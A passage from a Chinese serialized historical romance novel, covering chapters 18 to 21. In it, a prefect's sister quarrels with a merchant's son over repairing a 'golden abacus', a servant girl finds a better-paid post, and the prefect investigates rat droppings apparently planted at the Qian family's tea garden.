“哎呦喂,我怎么养了你这么个儿子!人家周知府是徽州长官,知道什么意思吗?就是这徽州城,人家就是天皇老子!你欺负了人家妹妹,人家还能饶了我们啊!” “哼,弄坏了我们镇店之宝,还理直气壮。”陈明阳知道陈千朗说的有道理,昨天上午也不过一时冲动,现在只是气不过。 “唉,我们商家看着富贵而已,你啊,我本来想让你去考功名,谁知你对功名全不上心,非得跑到西凉开拓商路。明阳啊,永远都不要忘了,我们就是暂时赚了些钱而已,这些东西生不带来死不带去,还是不要太当真的好。” “爹,我知道了。”陈明阳顿了顿,突然想起来,“爹,那您干嘛非得执着于朝廷供奉呢,咱们最好还是别跟朝廷走得太近。” “你这小子!你是无时无刻想让我放弃是吧!成了成了,别弄了,赶紧睡觉去吧你!” 第二天,娉婷准时出现在陈家,陈家父子在门口迎接这位“做错事”的大小姐。 “周小姐,犬子多有得罪,还请周小姐恕罪。” 娉婷看着恭恭敬敬的两人,又神气起来,“恩。” 陈千朗瞪了一眼陈明阳,陈明阳只能不情不愿地对娉婷一抱拳,“周大小姐,您大人不计小人过,小的陈明阳给大小姐赔罪了。”陈明阳给娉婷深深揖了一下。 “哼。”娉婷脸一扭,心想:早晚你得落我手里。 “周小姐,知府大人有命,我们也得遵从,多有得罪,多有得罪。”陈千朗还是恭恭顺顺的样子。 “东西呢?” “周小姐,这边请。” 娉婷跟着陈家父子来到内院,见院子工工整整,房间也干干净净,屋里摆放着一张大长方形的桌子,两把太师椅,桌子上放着‘金算盘’的零件。 “大小姐,您请。” “就我一个人做吗?我可不会。” “大小姐,犬子会做,让他做就行了。” 陈明阳在旁边听着,心里翻了好几个白眼,见娉婷一副高高在上的样子,更觉得讨厌,心想赶紧做完,赶紧躲这位小姐远点。 “这还差不多,那你走吧!”娉婷见陈千朗如此彬彬有礼,心中的气消下去一大半。 “小民告退,大小姐有什么吩咐直接叫明阳去就行了。” “好,知道了。”娉婷一听这话,心里高兴起来,得瑟地看着陈明阳。 陈明阳现在是叫苦不迭,心想:简直是给自己找来个祖宗! 正在两人相互较劲的同时,周启接到了朝廷御令:担任调查钱记茶园的主审官。周启明白是皇帝不想派员前来,毕竟作为皇子出席皇家活动是理所当然,只要在京官员都有可能曾经见过皇子,所以最保险的办法就是别派员来。 周启其实早就料到会这样,一直在暗中调查钱记茶庄。茶庄每天都是繁荣的采茶景象,一点也看不出即将被调查的慌乱,周启认为要不钱记茶庄没有问题,要不问题出在自己看不见的地方。 时近晌午,娉婷坐累了说要去外边走走。陈明阳懒得理她,觉得还是赶紧做好‘金算盘’赶紧让她离开才好,“你自己去吧。” “切,我还没打算让你跟着我呢。”娉婷送给陈明阳一个大白眼就出门了,陈家的院子也是很多花草树木,曲径通幽。娉婷随意走动,觉得景色与钱家比也毫不逊色,心情终于舒畅起来。 远处,李老四正在浇花,看见娉婷走了过来,赶紧躲在假山后边,“这丫头怎么跑到陈家来了?来抓我的?那怎么就她一个人啊!哈哈,臭丫头落单了,今天就叫你知道知道你李爷爷的厉害!” 第十八章 陈明阳“非礼”周娉婷 - 风吹繁花散落时 - 红酒羊排 吴怡早起无事可做,与李婶出门买菜,远远见一群人围着一面墙指指点点,“李婶,我想去那边看看。” “你去吧,别乱跑啊,一会儿咱们就回去了。”李婶身材稍胖,饭菜做得色香味俱全,是在数十位竞争者中脱颖而出,虽然身怀绝技,但对谁都客客气气。 “嘿嘿,谢谢李婶,这个菜篮子我就先帮您拿着,省得太重了。” “恩,你先拿着吧,我到那边去看看水果,你一会儿过来找我。” “好,放心吧。”吴怡见李婶走远了,高高兴兴去看热闹。 吴怡好不容易挤进去,这告示上的字除了一个钱字可是都不认得,“劳驾问一下,这上边写什么呀?” “哦,这是钱家的告示,招一个陪老太太聊天的丫鬟。” “钱家?哦,招丫鬟。”吴怡想起钱宁,也没有找到李老四,如今自己在知府衙门做帮佣,每个月可是二两银子的月例! “嗬,钱家真是大手笔,瞧瞧,我就恨我不是个娘们儿。” 吴怡见旁边一个力巴模样的的大汉开起玩笑,众人哄堂大笑。 “你要是个小娘们儿,你是想去陪老太太聊天,还是想起勾引人家钱家的少东家?”另一个人也加入了揶揄大军。众人再一次哄堂大笑,荤段子满嘴跑,吴怡平时是不在意这些的,可是毕竟跟钱宁认识了也觉得他人不错,所以不想跟一大堆糙老爷们在一起了,又挤出了人群。吴怡往前走,打算去找李婶,忽听后边有人叫她,一回头正看见钱宁。 “少东家?” “呵,真的是你呀。”钱宁见吴怡拿着一个大菜篮子,显得吴怡更加瘦小。“你这是?” “哦,我帮东家买点菜。”吴怡艰难地举起菜篮子,“嘿嘿。” “你手怎么了?” “嗯?没事啊。” 钱宁过来拉过吴怡拿着菜篮子的手,往上撸了一点袖口,“这是怎么弄的?” “嘿嘿,没事,早都不疼了。” 钱宁见吴怡笑着说,突然心疼起来,“是不是你主家打你了。” “嘿,我们做下人的,哪有不挨打的呢,没事儿,过两天就下去了。” “来,这给我。”钱宁伸手来拿菜篮子,“你跟我来。” “啊?少东家,不用了,我自己拿着就行了。” 钱宁哪能让吴怡拿着这么重的东西呢,一把抢过了菜篮子,“你手受伤了,我来拿着吧,你跟我来。”两人往前走了不到十米,来到钱记药铺。钱宁让吴怡在椅子上坐会,自己去柜上拿了药膏过来。 “来,我帮你上点药。” “啊?不用,少东家,这还用上药吗?过两天就好了。” “怎么能不上药呢?” “少东家,我,我可没有钱买药,再说了这个不算什么,过两天也就好了。” 钱宁坐在吴怡身边,看她一脸没什么大不了的样子,“这药不要钱,我帮你擦上吧,别动。” 药膏擦在吴怡手臂上凉凉的,吴怡心里一揪,“嘿嘿,少东家你真是大好人。” 这时一个小厮走了进来,在钱宁旁边问到,“少东家,咱们在哪里面试来应聘的人?” 钱宁还在继续帮吴怡擦药,头也不抬,“就在外边搭个桌子就行了。” 小厮看看外边面露难色,“少东家,这可能不太够地方,人有点多呀,肯定会影响药铺的生意。” “有很多人吗?” “少东家,每月十两银子就陪老夫人说说话,小的也想去呀!可惜投胎投错了性别。” 吴怡一听十两银子眼睛都亮了,小声嘀咕一句,“十两银子!”钱宁还低着头再给吴怡擦药,“哎呦。”吴怡胳膊突然一抽。 “是不是疼了?这药擦上是会有点疼,不过明天呀,我保证你就又生龙活虎的了。” “嘿嘿,好,少东家,你真是太好了。” “这没什么。” “不过呢……” “怎么了?” “我家小姐脾气不好,动不动就拿我们下人出气,所以……所以您能不能把这药膏给我呢?以后我肯定也用得着。”吴怡试探着问到,见钱宁直直看着自己,又不好意思起来,“我知道,我也没有钱给您,您能给我涂药已经很好了,再找您要药膏实在不像话。”吴怡眼含泪花,“少东家,就当我没说过,我永远记得您的恩德。” “你不要回去了,我们钱家正在招帮佣,就是陪老妇人说说话,我觉得你完全可以胜任。” “啊?那不好吧!我,我还是赶紧回去吧,要不小姐又要生气了。”吴怡说着挣开了钱宁的手,拿起菜篮子要往外走。 “哎,吴怡,难道你卖身了?” “没有啊,怎么了。” “那你怕什么?就算你不在他家做了,他们也管不着吧!” “可是少东家,我,那我去哪呢?” “去我们家呀!我奶奶想找个可心的人说说话,我觉得你挺合适。要不这样,你现在先回去,给人家说你找到了下家,不在他家做了!下午你就来我们家,我奶奶一定会喜欢你的。” 吴怡就等这句话了,心里美得差点跳起来,脸上却哭了出来,“少东家,您真是大好人!谢谢您,谢谢您!”吴怡给钱宁连鞠三个躬,一边哭着一边往外走,“少东家,我晚上就去,我一定好好伺候老妇人。” 等吴怡走远了,终于不哭天抹泪的,偷眼看了一眼周围,一下子跳起来,“十两银子!哈哈哈哈!吴怡,你真是太棒了!”吴怡脚步轻盈找到李婶回到知府衙门。 连锁知道吴怡要走,也明白六公主不好伺候又不好强留,只好回禀了周启。 “她既然找到了下家,又是她认识的人,那你就让她去吧。给她一个月的月例,再给她二两银子,当是娉婷赔偿她的医药费吧。” 连锁将四两银子交给吴怡,吴怡心情好的简直飞起来,心想这徽州果然富庶之地,要知道早来了,没准现在都发财了。吴怡与大家依依惜别,除了十两银子的诱惑,她还是很喜欢大家的。 娉婷在院子里转悠,走到小路上看见一条蛇正盘在路中央晒太阳。娉婷不慌不忙,弯腰用手捡起了蛇摆弄起来,躲在假山后的李老四惊呆了,心想:这丫头真是生猛!又想自己也就坑蒙拐骗的本事了,连吓唬人都不会! 娉婷拿着蛇来到陈明阳身边坐下,陈明阳头也不抬,“大小姐回来了,赶紧吧,修好了咱们都清净。”陈明阳抬头见娉婷两只手上缠着一条蛇,正往自己脸上蹭,瞪的一下站了起来指着娉婷,“你你你……”桌子差点撞翻了。 “干嘛?你不会是怕蛇吧?”娉婷见他这样来了精神,紧紧跟着陈明阳,使劲拿着蛇吓唬他。 “你赶紧放下!”陈明阳一边在屋子里躲闪一边喊到,声音都颤抖了。 “哈哈哈哈,没想到啊,陈家少东家原来怕蛇啊!你过来,给你摸摸!” “你别过来,你,你,你疯了你!你赶紧把它扔出去!”陈明阳已经吓得站在柜子上去了,“你赶紧扔了!” “哈哈哈哈哈”娉婷又双手拿着蛇在自己脸上蹭,“怂样呗!你下来,我让你摸摸。” “我才不摸呢!你赶紧拿走!”陈明阳的脸都有点扭曲了,“快点啊!” “好好好,我拿走,你下来吧!”娉婷一只手拿着蛇,举到了离陈明阳稍微远点的地方,另一只手示意陈明阳下来,“成了,陈大公子,下来吧!我扶着你点吧,省的你摔下来又要去告我了。” 陈明阳由娉婷扶着,小心翼翼下来,娉婷瞧准机会那只手将蛇往前一扔,正扔在陈明阳身上,陈明阳“啊”得一声,赶紧在自己身上拍了两下,娉婷正笑呢,陈明阳一下子从柜子上摔下来,正摔在娉婷身上。 两人扑通一下都摔在地上,娉婷一下子推开陈明阳,两人在地上扭打起来,“臭流氓,混蛋!你给我滚开!” “我,我怎么了!”陈明阳好不容易才坐起来,“你别喊了!” 娉婷还躺在地上,一脚踹在陈明阳胸前,“你混蛋!” 陈明阳被踹,虽然劲不大,还是生疼,“你这个野蛮丫头。我今天非好好教训你一顿!”陈明阳急了,骑在娉婷身上,双手压着娉婷的双手,娉婷娉婷蹬踹,大喊起来,“混蛋,陈明阳!我早晚剁了你!你给我松开!” “嘿,我,我就不信了,你给我闭嘴!” 正在此时,门开了,陈千朗本来想天色不早了,要送周家小姐回去,谁知远远就听见里边打起来了,一进门还看见这情景。 陈明阳一看陈千朗进来了,顿时冷静下来,赶紧从娉婷身上下来,“爹,这不是……” 娉婷终于坐了起来,对着陈明阳的脸就打了一巴掌,“混蛋!”,打完,娉婷站起身,指着陈千朗的鼻子,“我早晚剁了你们!”说完就往外跑去。 “爹……”陈明阳站起来想解释,陈千朗本来想去追娉婷,听见陈明阳叫自己,反手就给了陈明阳一个大嘴巴。 “爹!”陈明阳踉跄一下,“我没对她怎么样!都是误会!” “你过来我看看,过来,看看脸!” 陈明阳不明所以,又怕再被打,小心翼翼走过来。 “成,这样挺好。” “什么挺好呀,爹?” “你这脸上现在是爹打的印子,要是知府问起来,你从来没有轻薄人家,人家也没给你一巴掌,都是你惹我生气了,我打的你!听见没有!” “哎呀,爹,我没轻薄她啊!”陈明阳一屁股坐在地上,“我这造的什么孽呀我!哎呦,跳进黄河也洗不清了!” 第十九章 钱家茶庄出事 - 风吹繁花散落时 - 红酒羊排 娉婷跑回知府衙门,找哥哥哭诉,可是周启一个字都不信,娉婷打算闹得惊天动地,“你可想好了,你要是非拿自己的清誉胡闹,我也拦不住你,不过做哥哥的还是得提醒你,这可儿戏不得,再说了,为了对付一个陈明阳,不值得!” “那你说怎么办嘛!” “我说过了,你修好了‘金算盘’,哥哥自然为你报仇。” 娉婷虽然心有不甘,还是听从了周启的建议,“那好,我早晚剁了他们父子!” 此时的吴怡美滋滋进了钱府,见院中郁郁葱葱,下人们都穿得整整齐齐,连走廊都雕梁画栋。钱管家带着吴怡一路穿门过院来到老夫人的如意堂,只见院中两只仙鹤闲庭信步,假山之上泉水淙淙流下,一池荷花开得正好,鱼儿在水里悠闲自得。进得屋来,吴怡见一七十岁上下老夫人正在与五十岁模样的夫人说话,钱管家带着吴怡站定,恭恭敬敬回禀,“老夫人,夫人,公子招来一个丫头子,说是陪老夫人说话,给老夫人解闷,望老夫人能喜欢。” “喜欢,喜欢。”老妇人听是孙子特意给自己招来的,心里十分高兴了。 “老夫人好!小的叫吴怡,以后伺候老夫人。”吴怡鞠躬说到,又十分殷勤地上手去端茶,“老夫人,请喝茶。” 钱老夫人接过茶碗,欢喜地看着吴怡,“还是个机灵丫头呢,好,留下吧!” “谢谢老夫人!”吴怡又给老夫人鞠了一躬,“老夫人,我给您削个苹果吧。” 钱管家见老夫人笑得合不拢嘴,便自行退下。 此时的钱家父子正在花厅与茶园管事议事。 “明天,知府与同知大人会一起前来调查,你们那里没什么异常吧?” “回东家,没有发现异常。” “爹,陈明阳明明说张海会有所行动,让我们小心,可是这个张海怎么什么也没有做呢?” 钱万全心中也有疑虑,只坐在椅子上轻轻捶了两下腿。 “少东家,也许张海没有机会下手,毕竟我们已经知道了,若是下手一定会被发觉,还不如让我们自乱阵脚。” “老蔡啊,你现在先回去再仔细检查一遍,其实钦差这么久不来,又临时变成了周知府来调查,也许朝廷根本没把这事放在心上也说不定,我们只要做到没有问题就行了。” “是,东家,我现在就回去。” 老蔡走后,钱宁不无担心地看着钱万全,“爹。” “既来之则安之吧。” 陈家父子也愁眉不展,陈千朗觉得娉婷绝不是善罢甘休之人,可是快两个时辰了,居然一点动静都没有。陈千朗在前厅来回踱步,忽然听见远处狗叫吓了一跳,竖起耳朵仔细听,狗只是叫了两声又没了动静,陈千朗的心也悬起来又放下。 “爹,我看周知府不会来兴师问罪了。” 陈明阳一脸无所谓的样子,让陈千朗气不打一处来,“我说你呀!昨天晚上我跟你说的话简直就是被你当成了耳旁风!人家官家的大小姐,是你能有非分之想的吗?” “爹,我都说了多少遍,我没有!再说了,就她那个样子,我才不要呢!”陈明阳翘着二郎腿,无可奈何到了极点。 “哎呦喂,成了吧你!你看看你哪里好了?你给我坐好了!什么样子!” 陈明阳赶紧坐好,又偷眼看了一眼陈千朗,“爹,天不早了,咱们还是歇着吧,明天人家来了,我给人家道歉不得了。” 陈千朗双手背后站着想了半天,“不行,等不了明天了,你现在,你现在就赶紧走,快快快。”说着陈千朗已经来拉陈明阳,“趁还来得及,赶紧走。” “哎,爹,去哪啊!” “只要离开徽州,去哪都行,赶紧走。” “哎呀,爹,我又什么都没干!我才不跑路呢。” “你还什么都没干,那人家姑娘为什么打你一巴掌?行行行,爹是过来人,爹可以理解,爹不怪你,人家能饶了你吗?你赶紧给我走,哎呦,我可就你这么一个儿子!你放心好了,爹就算赔上整个陈家的,也绝不会让他们找到你。” “哎呀,爹!”陈明阳一甩胳膊一跺脚,“城门都关了!我去哪啊!再说了,人家还不定真的找上门,就算找上门又能怎么样!还能冤枉了我啊!” “冤枉你?我说儿啊,你是不是不记得赵家怎么没落的!好好的人进县衙大牢就五天人可就没了!赵家的资产可都充了公了!你想躺在知府大牢里啊?那你,你叫我和你娘怎么告诉你爷爷!我们怎么活,你说呀!” 陈明阳一听这话,也心虚起来,“爹,你别激动。那我,我,可是城门都关了呀。” “没关系,你赶紧,赶紧到咱们的绸缎庄去,明天有一批货要出城,文书都已经批下来了,明天一早你就赶紧走!对了,要是今天晚上咱家没事,你就大大方方出城,出了城就乔装改扮,到大同去找赵掌柜,他跟你爹我可是过命的交情,然后等着我给你写信,要是没事你就回来,要是有事,你可千万别再回来了!” “爹。” “别的别说了,赶紧走!” 陈明阳脑子都蒙了,在钱记绸缎庄一夜未眠,第二天天刚蒙蒙亮,陈明阳带着绸缎庄的货物出了城,城门口,陈明阳回头看了看徽州城,泪水在眼眶中打转,冲动之下差点骑马回家,跟在身边的李掌柜使劲拉住陈明阳,“少东家,如今你不在对陈家倒还好一点,也许只是损失些钱,万一你被抓进去,可就严重了,你得想想老太爷可经不起呀!” 陈明阳自责起来,若没有一时冲动惹了官家就好了,可如今自己什么也没做却不得不出走他乡。“驾!”陈明阳一马当先,徽州城门越来越远了。 钱万全在茶园接待周启与余年,两位大人话不多说,衙役们进去查看。 “两位大人,请这边用茶。” “恩。”余年顺着钱万全有请的地方就要过去,周启却好像没听见一样,自己进茶园工坊去了。 “周大人,何不让衙役们先搜查一番,我们进去倒是妨碍了。” 周启也不答话,只看了余年一眼继续往里走。衙役们四处翻看,周启明白,这么多天过去了,有问题也都处理掉了。 “管事在哪?” “大人,小的是这里管事。”大家不知道周启要干什么,都围在门口,听周启招呼,管事赶紧过来。 “你平时都在这吗?” “回大人,小的是掌柜,大多数时候在柜上,也不是无时无刻在这。” “那谁一直在这。” “回大人,园里的李师傅是炒茶师傅一直在这。” “李师傅在哪?” “大人,小的是李庆年,小的一直在。” “好,李师傅,本官第一次来茶园,你给本官介绍一下这茶从采摘到运输出去的全过程吧。” “是,大人,这工坊啊就挨着茶园,早上工人们到茶山上采茶,一边采一边有人运输下来,来了这里就开始炒茶,炒完就封装,然后就运输出去了。” “呵呵呵,李师傅你别紧张,你说的很容易嘛,本官是想让你告诉本官所有细节,比如那些采茶的工人都是什么人啊,运茶的又是谁啊,你炒茶可有什么讲究啊,有没有什么地方可能参杂了些其他不相干的人进来……” 李庆年站在原地仔细想起来,一点一点介绍给周启。 余年见周启问话肯定还得些时候,便拉着钱万全在院子里品起茶来。“钱老板,放松一点,大家都是老相识了,不过走个过场,放心吧,没事的。” “多谢余大人照应。”钱家父子面上不紧张,却时刻关注周启的动向,谁都明白周启才是那个决定的人。 半柱香时间,衙役们渐渐归队,钱家所有人的心都提到嗓子眼了,“禀大人,一队未发现情况。”、“禀大人,二队未发现情况。”、“禀大人,四队未发现情况。”,钱家人稍稍放心。 “恩,很好,钱老板我就说嘛,放松啊,哎,对了,三队呢?”正说着两个衙役急急跑过来。 “大人,大人,有发现。” 余年惊得站了起来,“怎么回事?” “大人,屋内有老鼠。” “在哪?快带本官前去!”余年跟着衙役往后边的屋子走去,钱家人都紧张起来,也跟在后边。 “大人,就是这里。” “老鼠呢?” “大人,小的亲眼看见了一只老鼠疯狂逃窜,这里,大人,经小的检查有老鼠屎。” 大家都探着头看,钱家父子相互看了一眼,心想:这一定就是张海的杰作了,这个张海居然能逃过钱家的层层防御,真是不简单。 “钱老板,怎么回事?” “大人,我们茶园向来防蛇虫鼠蚁最严厉,这,这……” “这什么这!怪不得呢,老鼠都满屋子跑了,还留下,还留下这么多腌臜物,哼,亏得本官还在知府大人面前拍着胸脯为你担保!钱万全,你,你真是……”余年指着钱万全的鼻子,一副恨铁不成钢的样子。 “大人,大人,这肯定不是……” “不是什么?来人,带着这些证物,把钱万全带走!” 第二十章 周启主审钱家茶庄事宜 - 风吹繁花散落时 - 红酒羊排 余年正要发威将所有人都带走,周启在人群后慢慢悠悠说了一句,“住手。”这声虽轻,却镇住了所有人。 “大人,冤枉啊,大人,钱家茶园绝没有什么老鼠,请大明察。”钱宁见周启在后边,赶紧过来跪倒在地,“大人,我们……” 周启并不看钱宁,双手背后慢慢悠悠走了过来,站在余年对面,“余大人,何以动怒啊?” “周大人,真是下官瞎了眼,竟没看出钱家如此脏乱,哎呀,真是想想都觉得恶心,那老鼠屎肯定是混在了茶叶里,哎呀,我们宫里的娘娘们啊,真是受委屈了啊。”余年双手举过头顶,对着天空哭泣起来,如丧考妣。 周启可不想看他在这做戏,自己走到有老鼠屎的架子旁,见老鼠屎一粒一粒得靠近最里边,“钱万全,你作何解释?” “大人,我们茶园向来最注重卫生,这方圆三里之内没有一颗粮食,没有一个瓜果,就是为了防老鼠,况且这茶叶和老鼠屎就算混在了一起,也不可能饮用,因为沏茶时候,茶叶和老鼠屎一看就能看出来。” “恩,余大人,你觉得呢?” 余年骤然停止了哭泣,“大人,这只是钱万全一面之词,我们还是应该禀报朝廷。” “余大人,你摸摸这架子。” “大人?” 正在所有人都愣神的时候,周启伸手摸了一把架子,一尘不染,连底下也是一尘不染,“余大人?” “周大人,这……哦,这也许是这老鼠新来的,要不怎么往年都没事,今年就出事了呢。” “我问你,出了事到现在,多久了?” “回大人,半月有余。” “半月时间,怎么钱家对自己要被调查一点也不知情吗?” “不瞒大人说,小民早就知道了。” “好,半个月了,你们连一只老鼠都逮不到吗?就算逮不到老鼠,不可能任由老鼠屎留在货架上吧?不管你们的货架上是一直如此干净还是最近才如此干净的,连边边角角都打理了,这么多老鼠屎会看不见吗?” “大人,这真是天网恢恢疏而不漏啊!” “余大人,本官认为此事疑点众多,待本官细细查证之后再做决断吧。” “大人,是否将茶园所有人拘禁起来。” “暂时不用。” “大人,那下官愿意与大人联名上奏朝廷,请求暂时撤销钱家的宫廷供奉,待事实查明后,再做处置。” “暂时不用。” “大人?” “本官自有决断,钱万全,你将所有昨天在这里的伙计都召集过来,本官现在就要问话。” “哎,大人……”余年见周启已经转身离开到院子里组织人手搭起一个临时的办公场所,也不好再说什么,赶紧来到周启身边。 钱家人在旁边听见两位大人的对话,心里一会上一会下的,如今周启没有粗暴地将所有人都抓走已经是不幸中的万幸了。 正在钱家人提心吊胆的时候,陈千朗也提心吊胆地站在门口张望,日上三竿了,娉婷才独自往陈家来。 陈千朗早就得到消息:知府大人去钱家了。他可没时间管钱家的闲事,儿子的命才最要紧。他看娉婷晃晃悠悠过来,赶紧上前施礼,“周大小姐。” “恩。”娉婷睡眼迷蒙,看了一眼陈千朗就往里走。 “大小姐。” “你不用跟着了,我自己会走。” 陈千朗见她不像是兴师问罪的样子,紧走两步跟在娉婷身后,等娉婷进了屋,陈千朗还觉得犹在梦中。 “哎,那个谁。”娉婷刚进去就出来了,站在门口指着陈千朗。 陈千朗吓了一跳,赶紧过来,“大小姐,小民陈千朗,大小姐有何吩咐?” “恩,陈明阳呢?他怎么还不来,都什么时辰了!” “哦,大小姐。”陈千朗的心噗通噗通直跳,“我们,那个有一批货着急送去,明阳就去送货了。” “送货,什么货啊?” “绸缎。”此言刚一出口,陈千朗就想抽自己一个大嘴巴,心想说什么不好,瞎说什么大实话! “哦。”娉婷刚要转身进屋,“哎,我可告诉你啊,我可不会修什么算盘!你赶紧找个人来啊!” “是是是,大小姐放心,今天肯定能修好!”陈千朗见娉婷根本不追问陈明阳,终于松了一口气,又担心娉婷耍什么鬼主意,不敢叫陈明阳现在就回来,吩咐人赶紧请钱庄的徐掌柜派得力的人来修算盘,又亲自写信给陈明阳叫他先去大同等候自己的消息,一切风平浪静了再回来。 钱家茶园出事了都消息很快传回了钱家,全家上下议论纷纷,吴怡正端着果盘哼着小曲往老夫人房里去呢,听见大家议论才知道钱家可能要倒大霉了! 吴怡一拍脑门,“吴怡啊吴怡,官老爷家里你不好好待着,非跑到商人家里,这商人还是没有官老爷威风,哎呀,笨死了我!” 吴怡强装镇定来到老夫人房间伺候,老夫人和夫人也已经得到了消息,钱朵陪着夫人正在宽慰老夫人,张家兄妹也帮忙分析。吴怡站在旁边听着不敢插话,听大家说得,觉得似乎也没有走到绝境上去。吴怡心想,家大业大的,不会一下子就垮了的,许是下人们胆子小,才说的那样严重,在人家主人看来竟没什么。吴怡稍稍放心,殷勤地伺候起老夫人,又是递茶又是捶腿的。 周启在茶园审问了一天,居然没有人看见可疑人员,可是有两个伙计负责打扫这一区域,而且是分别打扫的,都没有看见过老鼠屎,也没有一个伙计看见过老鼠。 周启仍旧认为此事疑点重重,余年却据理力争,认为就是钱家不甚将老鼠屎混进了茶叶。 周启不想与他争辩,宫里的事情他最清楚,别说泡茶的宫女不可能没有看出来,就是之前分茶的太监也不可能就这么疏忽了,况且还是在皇后娘娘组织的宫宴上发生如此纰漏简直匪夷所思。退一万步想,就算大家都眼拙没看出来,这老鼠屎出现的地方也让周启无法相信这原本就在这里。宫廷里浸染出来的独特感觉,让周启坚信此事不简单。 “余大人,你别忘了,本官是主审,本官认为没有必要撤销钱记的朝廷供奉,本官会将今天的事情如实上报朝廷,但是本官也会写上自己的主张,希望余同知能与本官同心同德。” “大人,下官实在不敢苟同!如果真是钱记出现了纰漏,仅仅撤销朝廷供奉已经是皇上恩典了,怎么能够如此了事?大人这不是有意包庇钱记吗?” “既然余同知不能与本官同进退,那我们就各自上折吧。”周启说话一直平平静静,没有丝毫波澜,说完也不等余年再说什么,转身离开了。 钱家自然感念周启的恩德,见余年十分气愤,知道余同知是不可能轻易放过钱记了。钱家父子的心还是紧紧绷着,一向与自家交好的余年一点面子都不给,新来的知府倒是相信此事有隐情,这让钱家父子万万没想到。 父子俩回到家,全家人和张家兄妹都坐在一起分析。吴怡也在一旁,她刚刚抢着来奉茶,就是想听听怎么回事,好决定要不要趁早溜走。 “爹,这余大人今天是什么意思?” “这我们与余大人速来交好,今天,难不成他不想在上峰面前表现得与我们太亲近?” “那这戏有点过了吧?爹,明明周知府都说了,让余大人与他一起上折,说此事存在疑点,可是同知大人不仅要求撤销我们的朝廷供奉,还一定要我们承认错误,他这是帮我们吗?” “钱伯伯,这位同知大人如何?”张灵一直坐在旁边听着,终于忍不住开口。 “余大人,他呀在同知任上也总得有五六年了,不像其他大人,他与我们商家速来交好,还说若没有徽商,这徽州城就不是徽州城之类的话。他与我们钱家也没有过不愉快,倒是每年你婶婶还请他家夫人来游园,过年过节的也是相互走动的。” “钱伯伯,上次给我们家的货是他下令扣下的吗?” “是啊,不过他也不是针对我们一家,后来也还给我们了。” “钱伯伯,看来这个余大人更在意官场上的是事情呢。” 张灵这么一说连吴怡都明白了,这位大人想当知府可是突然来了一位刚进官场的小屁孩,不仅是状元还是被破格提拔来的,一下子骑在自己头上了,余年自然心有不甘,所以也许所有事都要跟周知府对着干,而钱家正好撞到枪口上。 “那这应该如何是好呢?” “嘿,周大人不是向着你们的嘛。”吴怡在旁边早就听明白了,知道自己不用跑路了,心情又好起来了,一时没管住自己这张嘴。 “你是?”钱万全还没有见过吴怡呢,况且这府里从来没有下人插话的。 “哦,爹,这是吴怡,是我去山西的路上认识的,我想着让她陪奶奶说说话,给奶奶解解闷,就把她招进来了。” “哦,吴怡,你刚才说周知府向着我们?” “是啊,周知府可是大好人,对谁都和和气气的,他说了事情有疑点就一定不会冤枉你们的。” “哦?你认识周知府?” 第二十一章 钦差李博 - 风吹繁花散落时 - 红酒羊排 钱万全问吴怡是否认识周启,吴怡恨不能收回刚刚那句话,心想话可得想好了再说,这谎话说多了,实在不好圆上。 “嘿,我这不是来徽州嘛,然后遇到了周知府,我当时不知道他是知府。不过我听说了,他妹妹犯罪了,他都没有包庇他妹妹,所以他肯定是个好官,一定不会冤枉我们的!” 此言一出,陈万全也就当小孩子不懂事,虽然不想责怪吴怡,但想着如今两位大人共同上折,朝廷自有判断,也不是自己能左右的了。见天色不早了,便吩咐大家各自安歇。 吴怡跟着大家出来,钱宁送老夫人回房,吴怡便等着钱宁,想说谢谢他给自己一个这么好的工作。 “这没什么,你有什么需要的只管来告诉我。” “嘿嘿,少东家,你真是大好人。” “天不早了,你也赶紧回去休息吧。” “恩,好,少东家晚安!”吴怡往自己房间走去。她的房间就在老夫人房间不到两百米的地方,里面还住着钱朵的丫鬟春菊与钱宁的丫鬟白芷,此时三人都回到房间休息,那两人都是卖身进来的,自然更关心钱家的命运。 “我告诉你们啊,今天张小姐和咱们小姐说了,周知府虽然只比余同知大半级,可是官大一级压死人,况且周知府可是皇上破格提拔的,不可能第一次与下属意见不同就遭到斥责,所以咱们钱家这次还是很有希望大事化了小事化无的。” “春菊姐姐,张小姐很有可能就是宽慰咱们小姐。”白芷不无担心地说。 “你不知道吗?这张小姐可不是一般人物,她可是现在张家最厉害的人,整个晋中都知道娶了张小姐就是娶回去一座金库,比咱们这些在内院的人知道的多多了!” 吴怡正在铺床,一听也来了兴趣,“春菊姐姐,这张家小姐也在外跑生意吗?” “恩,听说她十二岁就跟着张公子出门做生意了,第一次出门就赚了五万两银子!人家都说她呀就是财神爷转世,可神了!” 吴怡一听五万亮眼睛又亮了起来,“五万两?天哪,我这辈子也赚不到五万两啊。” “吴怡,如今你月例有十两银子,已经很好了。” “是是是,我吴怡真是走了狗屎运。哈哈哈哈。” 第二天一早,周启将案卷整理完毕附在奏折后呈递京城,余年也写好了奏折,在参奏钱记茶庄卫生问题堪忧的同时,还历数周启到任后的种种问题,最后还不忘提醒朝廷周启对钱记的包庇是为了自己的官运亨通,丝毫没有臣子之心。 皇帝接到奏折找大臣们商议,李天时推波助澜,许丞相冷眼旁观,大家都明白要是茶叶有问题不仅钱记要承担责任,皇后也责无旁贷,毕竟她的宫女太监全部玩忽职守。 “皇上,既然徽州知府周开认为此事存疑,不如让他尽快查明真相,以安人心。” “丞相大人没看到吗?徽州同知余年可是参奏了知府周开,说他纵容其妹扰乱商业秩序,甚至将府银拿到私人钱庄去寄存,这次他在铁证面前还要包庇钱记茶庄,根本就是有私心。”李天时终于等来了参奏钱记的奏折,虽然余年将自己对周开的不满也写在奏折上,李天时还是要顺水推舟,将钱家定死,如果顺路收了余年在三皇子阵营也是意外之喜。 “启禀皇上,周开考取状元,受皇上恩典才到徽州任知府,这可是天大的恩典。臣虽然没有见过他,想着锦绣文章之人断不会如此不明事理。况且周开有没有徇私枉法也需要朝廷派员到地方上查证,钱记的事,周开也写的清清楚楚,如果他没有半句虚言,臣也认为钱记茶庄出现老鼠屎实在不合情理,他们那个炒茶师傅是在发现老鼠屎之前告诉周开他们茶园从不饮食,并不是为了脱罪才这么说的。” “恩,两位爱卿,周开的事情先放在一边,就说钱记,朝廷供奉该如何处置啊?” “皇上,臣以为应该暂停钱记朝廷供奉之职,饮食上的事情可是马虎不得啊。” “皇上,若是钱记冤枉,朝廷就这么暂停钱记的朝廷供奉,会不会正中奸人下怀。” “许丞相,那如是钱记不冤枉,还继续他们的朝廷供奉,会不会影响皇上的龙体安康,皇上的身体可是比什么都重要!” 